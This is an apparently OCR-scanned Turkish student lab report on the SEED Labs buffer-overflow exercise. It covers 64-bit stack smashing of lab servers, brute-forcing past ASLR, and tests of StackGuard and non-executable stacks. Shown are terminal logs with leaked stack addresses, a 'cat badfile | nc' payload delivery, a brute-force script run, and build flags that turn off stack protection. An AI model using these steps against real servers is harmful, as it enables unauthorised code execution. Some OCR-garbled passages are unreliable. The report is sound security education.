root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ecf2zeb8341d:/bof# |

root@ec
```

E. Level-3 Attack

Önceki saldırılardan farklı olarak, bu aşamada 64 bit sunucu programına geçilecektir. Yeni hedef, yığın programının 64 bit sürümünü çalıştıran serverdır. Kabuk kodunun 64 bit sürümünü kullanılarak Level 1 Attack adımları tekrarlanacaktır.

64 bit sürümüne ait shellcode dosyasından kopyalanarak yeni oluşturulan exploit.py dosyasına eklendi.

Server 3'ün bilgilerine erişebilmek için iyi huylu bir mesaj gönderildi.

```
nthal@nthal-VirtualBox:-/Downloads/Labsetup/attack-code$ ls
badfile brute-force.sh explotti.py explott2.py explott3.py explott4.py
nthal@nthal-VirtualBox:-/Downloads/Labsetup/attack-code$ echo hello | nc 10.9.0.
7 9090
AC
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe4b0
server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007fffffffe8e0
erver-3-10.9.0.7 | ==== Returned Properly ====
```

Burada edinilen rbp ve buffer addres bilgileri yeni exploit.py dosyasında güncellendi. Offset değeri 64 bit için verilen yönergede olduğu gibi +8 alınarak hesaplandı.

Düzenlenen exploit.py dosyası tekrar derlenerek servera gönderildi. "Return Properly" iletisinin geri döndürülmediği ve ip yerini lokal makine yerine server 3 aldığı gözlemlenerek saldırı başarılı şekilde gerçekleştirildi.

F. Level 4 Attack

Arabellek boyutunun daha küçük olması dışında, bu aşamadaki server 3. düzeydeki server ile benzerdir. Bu işlemde de amaç aynıdır: verilen sunucudan kök kabuk alınması beklenmektedir.

64 bit sürümüne ait shellcode dosyasından kopyalanarak yeni oluşturulan exploit.py dosyasına eklendi. Daha sonra server 4 bilgilerine erişebilmek için iyi huylu bir ileti gönderildi.

Edinilen rbp-buffer size bilgileri ile offset değeri hesaplanarak exploit.py dosyası tekrar düzenlendi.

İşlemler güncellendikten sonra exploit.py dosyası tekrar derlenerek oluşan badfile dosyası server 4'e gönderildi ve saldırı tamamlandı.

```
nthal@nthal-VirtualBox:-/Downloads/Labsetup/attack-code$ ./explott4.py
thal@nthal-VirtualBox:-/Downloads/Labsetup/attack-code$ cat badfile | nc 10.9.0
8 9090

server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input stze: 517
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe4b0
server-4-10.9.0.8 | Buffer's address inside bof(): 0x00007fffffffe450
```

G. Adres Randomizasyonu ile Deneme

Bu aşamada laboratuvar ortamının kurulumunda karşı önlemlerden biri olarak kapatılan Adres Alanı Düzeni Randomizasyonu(ASLR) tekrar açılarak saldırıyı nasıl etkilediği gözlemlenecektir. Bu aşamada saldırı yöntemi olarak bruteforce (kaba kuvvet) yönteminin kullanılması amaçlanmaktadır.

İlk adımda containerlar arka planda çalışmak üzere oluşturuldu.

Başlangıçta 0 olarak ayarlanan adres randomizasyonu değeri 2 olarak güncellendi.

```
nihal@nlhal-VirtualBox:~/Downloads/Labsetup$ sudo /sbin/sysctl -w kernel.randomi
ze va_space=2
[sudo] password for nihal:
kernel.randomize va_space = 2
```

Adres randomizasyonunun etkisini gözlemleyebilmek adına server 1'e arka arkaya iletiler gönderildi. Adres randomizasyonu açık olduğunda her iletide ebp ve buffer address değerlerinin değiştiği görüldü.

```
nthal@nthal-VirtualBox:~/Downloads/Labsetup$ echo hello | nc 10.9.0.5 9090 ^C nthal@nthal-VirtualBox:~/Downloads/Labsetup$ echo hello | nc 10.9.0.5 9090 ^C
```

```
        server-1-10.9.0.5
        Got a connection from 10.9.0.1

        server-1-10.9.0.5
        Starting stack

        server-1-10.9.0.5
        Input size: 6

        server-1-10.9.0.5
        Frame Pointer (ebp) inside bof(): 0xffd08fc8

        server-1-10.9.0.5
        Buffer's address inside bof(): 0xffd08f58

        server-1-10.9.0.5
        Got a connection from 10.9.0.1

        server-1-10.9.0.5
        Starting stack

        server-1-10.9.0.5
        Input size: 6

        server-1-10.9.0.5
        Frame Pointer (ebp) inside bof(): 0xff846618

        server-1-10.9.0.5
        Buffer's address inside bof(): 0xff8465a8

        server-1-10.9.0.5
        ==== Returned Properly ====
```

Exploit.py dosyası tekrar çalıştırılarak kurulum içeriğinde bulunan brute-force saldırısı başlatıldı.

```
nihal@nihal-VirtualBox:~/Downloads/Labsetup/attack-code$ ./exploit1.py
nihal@nihal-VirtualBox:~/Downloads/Labsetup/attack-code$ ./brute-force.sh
```

Yönergede brute-force saldırısının 10 dakika kadar bir sürede kök hakkını ele geçirmesi beklenmektedir. Bu aşamada birçok denemeye rağmen bağlantı kurulmamış ve kök hakkı elde edilememistir.

```
40 minutes and 57 seconds elapsed.
The program has been running 23091 times so far.
40 minutes and 57 seconds elapsed.
The program has been running 23092 times so far.
^C
```

H. Diğer Karşı Önlemler ile Denemeler

1) StackGuard Koruması: Gcc gibi birçok derleyici, arabellek aşırı akışlarını önlemek için StackGuard adlı bir güvenlik mekanizması uygulamaktadır. Bu korumanın varlığında, arabellek taşması saldırıları çalışmaz. Şimdiye kadar sağlanan savunmasız programlar, StackGuard koruması etkinleştirilmeden derlenmiştir [2]. Bu aşamada tekrar açılarak saldırıyı nasıl etkilediği gözlemlenecektir.

Kurulum ile birlikte gelen server-code/makefile dosyasının içeriği değiştirildi. "FLAGS" satırında kapalı bulunan stackguard koruması yeni bir "FAGSESP" oluşturularak aktif hale getirildi. Makefile dosyası tekrar derlenerek içeriği güncellendi. Badfile dosyası server 1'e gönderilerek taşma gerçekleştirme denendi ancak koruma aktif olduğu için işlem yapılamadan kesildi.

```
Makefile
                  server.c stack.c
              Makefile
1 FLAGS
            = -z execstack -fno-stack-protector
2 FLAGS_32 = -static
3 TARGET = server
            = -static -m32
= server stack-L1 stack-L2 stack-L3 stack-L4
                                               exploit1.py
           = -z execstack -fno-stack-protector
 6 L1 = 100
7 L2 = 180
8 L3 = 200
9 L4 = 80
..
11 all: $(TARGET)
13 server: server.c
14 gcc -o server server.c
          qcc -DBUF SIZE=$(L1) -DSHOW FP $(FLAGS) $(FLAGS 32) -o S@ stack.c
      k-L1ESP: stack.c
                DBUF_SIZE=$(L1) -DSHOW_FP $(FLAGSESP) $(FLAGS_32) -o $@ stack.c
cc -DBUF SIZE=100 -DSHOW FP -z execstack
                                               -static -m32 -o stack-L1ESP stack.o
                   server.c stack.c
                                                            e$ make stack-L1ESP
                                               -static -m32 -o stack-L1ESP stack.c
p/server-code$ ls
gcc -DBUF SIZE=100 -DSHOW FP -z execstack
```

2) Yürütülebilir Olmayan Stack Koruması: Übuntu'da, programların (ve paylaşılan kütüphanelerin) ikili görüntüleri, çalıştırılabilir yığınlara ihtiyaç duyup duymadıklarını, yani program başlığındaki bir alanı işaretlemeleri gerekip gerekmediğini bildirmelidir. Çekirdek veya dinamik bağlayıcı, bu çalışan programın yığınının çalıştırılabilir mi yoksa çalıştırılamaz mı yapılacağına karar vermek için bu işaretlemeyi kullanır. Bu işaretleme, varsayılan olarak yığını çalıştırılamaz hale getiren gcc tarafından otomatik olarak yapılır [2]. Bu görevde yığını çalıştırılamaz hale getirilerek deney gerçekleştirilecektir.

Kurulum ile birlikte gelen shellcode/makefile dosyası içerisinde bulunan stack koruması açıldı. "Kabuk Kodun Tanınması" aşamasında derlenerek başarılı şekilde çıktı veren a32.out ve a64.out dosyalarına tekrar erişim denendi ancak stack koruması sebebiyle "Segmentation fault (core dumped)" hatası alındı.



BULGULAR

4 farklı server ve 3 farklı güvenlik önlemi ile deney gerçekleştirilen bu çalışmada, güvenlik önlemleri kapalıyken saldırılar kolay bir şekilde gerçekleştirilebilirken, farklı koruma ve güvenlik yöntemleri aktive edildiğinde saldırıların engellendiği ve yapılamadığı gözlenlenmiştir. Server 2 saldırısı için gizlenen ebp değerinin buffer size'ı bulmayı engellediği, bu yüzden saldırının bir seyive daha zorlaştığı çıkarımına varılmıştır.

Sonuç

Bu çalışmada, SEED Lab2.0 - Buffer Overflow Attack yönergesinde verilen adımlar eksiksiz şekilde tamamlanarak 32 bit ve 64 bit üzerinde, korumalı ve korumasız ayarlarda buffer overflow saldırıları gerçekleştirilmiştir. Buffer Overflow nedir, sebep olabileceği güvenlik açıkları nedir, bu açıklardan nasıl faydanılabilir ve karşıtı olarak saldırılar nasıl engellenebilir sorularının uygulamalı olarak cevapları aranmıştır. Güvenlik önlemlerinin açık olduğu bir sistemde buffer overflow saldırılarının gerçekleştirilebilme ihtimali ve yöntemleri gelecekteki çalışmalarda incelenebilecek ucu açık bir soru olarak kalmıştır.

KAYNAKLAR

- [1] https://www.imperva.com/learn/application-security/buffer-overflow/
- [2] SEED Labs Buffer Overflow Attack Lab (Server Version)
- [3] S. M. Alzahrani, "Buffer Overflow Attack and Defense Techniques," International Journal of Computer Science and Network Security, vol. 21, no. 12, pp. 207–212, Dec. 2021.
- [4] C. Cowan, F. Wagle, Calton Pu, S. Beattie and J. Walpole, "Buffer overflows: attacks and defenses for the vulnerability of the decade," Proceedings DARPA Information Survivability Conference and Exposition. DISCEX'00, 2000, pp. 119-129 vol.2, doi: 10.1109/DISCEX.2000.821514.
- [5] Deckard J., "Defeating Overflow Attacks", GSEC Practical Assignment Version 1.4b.
- [6] https://www.ibm.com/docs/tr/aix/7.3?topic=i-ifconfig-command
- [7] Nicula, Ștefan, and Răzvan Daniel Zota. "Exploiting stack-based buffer overflow using modern day techniques." Procedia Computer Science 160 (2019): 9-14